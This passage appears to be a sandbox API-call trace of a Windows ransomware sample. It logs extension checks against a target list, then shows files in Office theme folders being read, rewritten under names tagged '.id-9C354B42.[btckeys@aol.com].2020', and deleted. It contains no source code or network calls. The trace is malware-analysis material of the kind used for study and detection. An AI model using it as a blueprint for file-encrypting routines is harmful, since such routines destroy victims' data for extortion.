(lpString=".xlsx") returned 5 [0079.348] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0079.348] lstrlenW (lpString=".ppt") returned 4 [0079.348] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0079.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0079.348] lstrlenW (lpString=".zip") returned 4 [0079.348] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0079.348] lstrlenW (lpString=".rar") returned 4 [0079.348] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0079.348] lstrlenW (lpString=".bz2") returned 4 [0079.348] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0079.348] lstrlenW (lpString=".7z") returned 3 [0079.348] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0079.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0079.348] lstrlenW (lpString=".dbf") returned 4 [0079.348] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0079.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0079.348] lstrlenW (lpString=".1cd") returned 4 [0079.349] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0079.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0079.349] lstrlenW (lpString=".jpg") returned 4 [0079.349] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0079.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0079.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0079.349] lstrlenW (lpString=".doc") returned 4 [0079.349] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0079.349] lstrlenW (lpString=".docx") returned 5 [0079.349] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0079.349] lstrlenW (lpString=".pdf") returned 4 [0079.349] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0079.349] lstrlenW (lpString=".xls") returned 4 [0079.349] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0079.349] lstrlenW (lpString=".xlsx") returned 5 [0079.349] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0079.349] lstrlenW (lpString=".ppt") returned 4 [0079.349] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0079.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0079.349] lstrlenW (lpString=".zip") returned 4 [0079.349] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0079.349] lstrlenW (lpString=".rar") returned 4 [0079.349] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0079.349] lstrlenW (lpString=".bz2") returned 4 [0079.349] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0079.350] lstrlenW (lpString=".7z") returned 3 [0079.350] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0079.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0079.350] lstrlenW (lpString=".dbf") returned 4 [0079.350] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0079.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0079.350] lstrlenW (lpString=".1cd") returned 4 [0079.350] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0079.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0079.350] lstrlenW (lpString=".jpg") returned 4 [0079.350] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0079.350] lstrcmpiW (lpString1=".GIF", lpString2=".2020") returned 1 [0079.350] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0079.350] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0079.351] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=1293) returned 1 [0079.351] CloseHandle (hObject=0x1e0) returned 1 [0079.351] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif")) returned 0x20 [0079.351] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0079.351] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0079.351] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0079.351] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0079.352] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0080.202] GetLastError () returned 0x0 [0080.202] ReadFile (in: hFile=0x1e0, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x50d, lpOverlapped=0x0) returned 1 [0080.622] WriteFile (in: hFile=0x174, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x510, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x510, lpOverlapped=0x0) returned 1 [0080.625] ReadFile (in: hFile=0x1e0, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0080.625] WriteFile (in: hFile=0x174, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xea, lpOverlapped=0x0) returned 1 [0080.625] SetEndOfFile (hFile=0x174) returned 1 [0080.626] CloseHandle (hObject=0x174) returned 1 [0080.626] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0080.626] SetEndOfFile (hFile=0x1e0) returned 1 [0080.628] CloseHandle (hObject=0x1e0) returned 1 [0080.628] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0080.628] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif")) returned 1 [0080.628] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0080.628] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0080.628] lstrlenW (lpString=".doc") returned 4 [0080.629] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0080.629] lstrlenW (lpString=".docx") returned 5 [0080.629] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0080.629] lstrlenW (lpString=".pdf") returned 4 [0080.629] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0080.629] lstrlenW (lpString=".xls") returned 4 [0080.629] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0080.629] lstrlenW (lpString=".xlsx") returned 5 [0080.629] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0080.629] lstrlenW (lpString=".ppt") returned 4 [0080.629] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0080.629] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0080.629] lstrlenW (lpString=".zip") returned 4 [0080.629] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0080.629] lstrlenW (lpString=".rar") returned 4 [0080.629] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0080.629] lstrlenW (lpString=".bz2") returned 4 [0080.629] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0080.629] lstrlenW (lpString=".7z") returned 3 [0080.629] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0080.630] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0080.630] lstrlenW (lpString=".dbf") returned 4 [0080.630] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0080.630] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0080.630] lstrlenW (lpString=".1cd") returned 4 [0080.632] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0080.633] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0080.633] lstrlenW (lpString=".jpg") returned 4 [0080.633] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0080.633] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0080.633] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0080.634] lstrlenW (lpString=".doc") returned 4 [0080.634] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0080.634] lstrlenW (lpString=".docx") returned 5 [0080.634] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0080.634] lstrlenW (lpString=".pdf") returned 4 [0080.634] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0080.635] lstrlenW (lpString=".xls") returned 4 [0080.635] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0080.635] lstrlenW (lpString=".xlsx") returned 5 [0080.635] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0080.635] lstrlenW (lpString=".ppt") returned 4 [0080.635] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0080.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0080.635] lstrlenW (lpString=".zip") returned 4 [0080.635] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0080.635] lstrlenW (lpString=".rar") returned 4 [0080.635] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0080.635] lstrlenW (lpString=".bz2") returned 4 [0080.635] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0080.635] lstrlenW (lpString=".7z") returned 3 [0080.635] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0080.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0080.635] lstrlenW (lpString=".dbf") returned 4 [0080.635] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0080.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0080.635] lstrlenW (lpString=".1cd") returned 4 [0080.636] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0080.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0080.636] lstrlenW (lpString=".jpg") returned 4 [0080.636] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0080.636] lstrcmpiW (lpString1=".GIF", lpString2=".2020") returned 1 [0080.636] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0080.636] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0080.637] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=1347) returned 1 [0080.637] CloseHandle (hObject=0x1e0) returned 1 [0080.637] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif")) returned 0x20 [0080.637] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0080.638] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0080.638] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0080.638] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0080.638] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0080.647] GetLastError () returned 0x0 [0080.647] ReadFile (in: hFile=0x1e0, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x543, lpOverlapped=0x0) returned 1 [0080.657] WriteFile (in: hFile=0x174, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x550, lpOverlapped=0x0) returned 1 [0080.657] ReadFile (in: hFile=0x1e0, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0080.657] WriteFile (in: hFile=0x174, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xea, lpOverlapped=0x0) returned 1 [0080.657] SetEndOfFile (hFile=0x174) returned 1 [0080.658] CloseHandle (hObject=0x174) returned 1 [0080.658] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0080.658] SetEndOfFile (hFile=0x1e0) returned 1 [0080.659] CloseHandle (hObject=0x1e0) returned 1 [0080.659] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0080.660] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif")) returned 1 [0080.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0080.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0080.660] lstrlenW (lpString=".doc") returned 4 [0080.660] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0080.660] lstrlenW (lpString=".docx") returned 5 [0080.660] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0080.660] lstrlenW (lpString=".pdf") returned 4 [0080.660] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0080.660] lstrlenW (lpString=".xls") returned 4 [0080.660] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0080.660] lstrlenW (lpString=".xlsx") returned 5 [0080.660] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0080.660] lstrlenW (lpString=".ppt") returned 4 [0080.660] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0080.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0080.661] lstrlenW (lpString=".zip") returned 4 [0080.661] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0080.661] lstrlenW (lpString=".rar") returned 4 [0080.661] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0080.661] lstrlenW (lpString=".bz2") returned 4 [0080.661] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0080.661] lstrlenW (lpString=".7z") returned 3 [0080.661] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0080.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0080.661] lstrlenW (lpString=".dbf") returned 4 [0080.661] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0080.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0080.661] lstrlenW (lpString=".1cd") returned 4 [0080.661] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0080.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0080.661] lstrlenW (lpString=".jpg") returned 4 [0080.661] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0080.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0080.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0080.661] lstrlenW (lpString=".doc") returned 4 [0080.661] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0080.661] lstrlenW (lpString=".docx") returned 5 [0080.661] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0080.661] lstrlenW (lpString=".pdf") returned 4 [0080.662] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0080.662] lstrlenW (lpString=".xls") returned 4 [0080.662] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0080.662] lstrlenW (lpString=".xlsx") returned 5 [0080.662] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0080.662] lstrlenW (lpString=".ppt") returned 4 [0080.662] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0080.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0080.662] lstrlenW (lpString=".zip") returned 4 [0080.662] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0080.662] lstrlenW (lpString=".rar") returned 4 [0080.662] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0080.662] lstrlenW (lpString=".bz2") returned 4 [0080.662] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0080.662] lstrlenW (lpString=".7z") returned 3 [0080.662] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0080.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0080.662] lstrlenW (lpString=".dbf") returned 4 [0080.662] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0080.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0080.662] lstrlenW (lpString=".1cd") returned 4 [0080.662] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0080.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0080.662] lstrlenW (lpString=".jpg") returned 4 [0080.662] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0080.663] lstrcmpiW (lpString1=".PNG", lpString2=".2020") returned 1 [0080.663] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0080.663] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0080.663] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=26402) returned 1 [0080.663] CloseHandle (hObject=0x1e0) returned 1 [0080.664] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png")) returned 0x20 [0080.664] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0080.664] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0080.664] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0080.664] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0080.664] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0080.665] GetLastError () returned 0x0 [0080.665] ReadFile (in: hFile=0x1e0, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x6722, lpOverlapped=0x0) returned 1 [0080.671] WriteFile (in: hFile=0x174, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x6730, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x6730, lpOverlapped=0x0) returned 1 [0080.673] ReadFile (in: hFile=0x1e0, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0080.673] WriteFile (in: hFile=0x174, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0080.673] SetEndOfFile (hFile=0x174) returned 1 [0080.673] CloseHandle (hObject=0x174) returned 1 [0080.674] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0080.674] SetEndOfFile (hFile=0x1e0) returned 1 [0080.675] CloseHandle (hObject=0x1e0) returned 1 [0080.675] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0080.675] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png")) returned 1 [0080.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0080.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0080.676] lstrlenW (lpString=".doc") returned 4 [0080.676] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0080.676] lstrlenW (lpString=".docx") returned 5 [0080.676] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0080.676] lstrlenW (lpString=".pdf") returned 4 [0080.676] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0080.676] lstrlenW (lpString=".xls") returned 4 [0080.676] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0080.676] lstrlenW (lpString=".xlsx") returned 5 [0080.676] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0080.676] lstrlenW (lpString=".ppt") returned 4 [0080.676] lstrcmpiW 